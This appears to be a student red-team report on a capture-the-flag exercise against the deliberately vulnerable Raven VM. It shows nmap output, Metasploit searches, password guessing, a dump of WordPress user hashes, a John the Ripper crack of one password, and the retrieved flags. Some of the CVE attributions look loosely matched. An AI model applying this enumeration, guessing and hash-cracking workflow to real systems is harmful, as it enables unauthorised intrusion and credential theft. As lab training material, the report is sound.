Unit 24: Offensive Report:

Red Team: Summary of Operations

Table of Contents

Nmap scan results for each machine reveal the below services and OS details:

```
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-07-28 17:30 PDT
Nmap scan report for 192.168.1.110
Host is up (0.0016s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.10 ((Debian))
111/tcp open  rpcbind     2-4 (RPC #100000)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.85 seconds
root@Kali:~#
```

This scan identifies the services below as potential points of entry:

- Target 1
  - ssh
  - http
  - rpc services
  - netbios-ssn

The following vulnerabilities were identified on each target:

- Target 1
  - Ssh

```
msf5 > search openssh

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/scanner/ssh/ssh_enumusers                    normal     No     SSH Username Enumeration
   1  exploit/windows/local/trusted_service_path  2001-10-25       excellent  Yes    Windows Service Trusted Path Privilege Esca
lation
```

    - CVE-2002-1645 score 10.0
    - Attackers execute arbitrary code via long URL

- Http
  - CVE-2022-31813 score 7.5
  - This may be used to bypass IP based authentication on the origin server/application.
- SMB vulnerabilities

```
msf5 > search smbd

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  auxiliary/admin/smb/check_dir_file                         normal   No     SMB Scanner Check File/Directory Utility
   1  auxiliary/dos/samba/read_nttrans_ea_list                   normal   No     Samba read_nttrans_ea_list Integer Overflow
   2  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corru
ption
```

  - CVE-2020-1472 score 10.0 Elevation of privilege
  - CWE-287: Improper Authentication
  - CVE-2021-44142 Complete CIA impact
- rpcbind only has normal vulnerabilites

```
msf5 > search rpcbind

Matching Modules
================

   #  Name                          Disclosure Date  Rank    Check  Description
   -  ----                          ---------------  ----    -----  -----------
   0  auxiliary/dos/rpc/rpcbomb                      normal  No     RPC DoS targeting *nix rpcbind/libtirpc
```

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1
  - flag1.txt: *flag1{b9bbcb33e11b80be759c4e844862482d}*
    - **Exploit Used**
      - *Guessing*
      - *Entering the name michael for the password*
      - *grep -RE flag1 html*

```
michael@target1:/var/www$ ls
flag2.txt  html
michael@target1:/var/www$ grep -RE flag1 html
html/service.html:                    <!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->
michael@target1:/var/www$
```

  - flag2.txt: *flag2{fc3fd58dcdad9ab23faca6e9a36e581c}*
    - **Exploit Used**

- *Guessing the password "Michael"*

```
michael@target1:~$ cd /var/www
michael@target1:/var/www$ ls
flag2.txt  html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$
```

- *Obtained hashes and used john the ripper to crack them for obtaining the password for steven*
- *With that password I was able to find the 3rd and 4th flag*

```
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
+--------------------+
4 rows in set (0.01 sec)
```

```
mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.01 sec)
```

```
mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------
-----------+-------------+-----------------+
| ID | user_login | user_pass                          | user_nicename | user_email        | user_url | user_registered     | user_act
ivation_key | user_status | display_name   |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------
-----------+-------------+-----------------+
|  1 | michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael       | michael@raven.org |          | 2018-08-12 22:49:12 |
           |           0 | michael         |
|  2 | steven     | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven        | steven@raven.org  |          | 2018-08-12 23:31:16 |
           |           0 | Steven Seagull  |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------
-----------+-------------+-----------------+
2 rows in set (0.00 sec)
```

```
|  4 |           1 | 2018-08-13 01:48:31 | 0000-00-00 00:00:00 | flag3{afc01ab56b50591e7dccf93122770cd2}

                                   | flag3        |              | draft      | open          | open
    |           |           |     | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 |
 0 | http://raven.local/wordpress/?p=4                    |           0 | post       |               |           0 |
|  5 |           1 | 2018-08-12 23:31:59 | 2018-08-12 23:31:59 | flag4{715dea6c055b9fe3337544932f2941ce}

                                   | flag4        |              | inherit    | closed        | closed
```

```
root@Kali:~# john hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16×3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
pink84           (?)
1g 0:00:01:34 DONE 3/3 (2022-07-30 09:05) 0.01062g/s 39311p/s 39311c/s 39311C/s poslus..pingar
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
root@Kali:~# john hash.txt
```

```
root@target1:~# cat flag4.txt
______
| ___ \
| |_/ /__ ___   _____ _ __
|    // _` \ \ / / _ \ '_ \
| |\ \ (_| |\ V /  __/ | | |
\_| \_\__,_| \_/ \___|_| |_|

flag4{715dea6c055b9fe3337544932f2941ce}

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought:

@mccannwj / wjmccann.github.io
root@target1:~#
```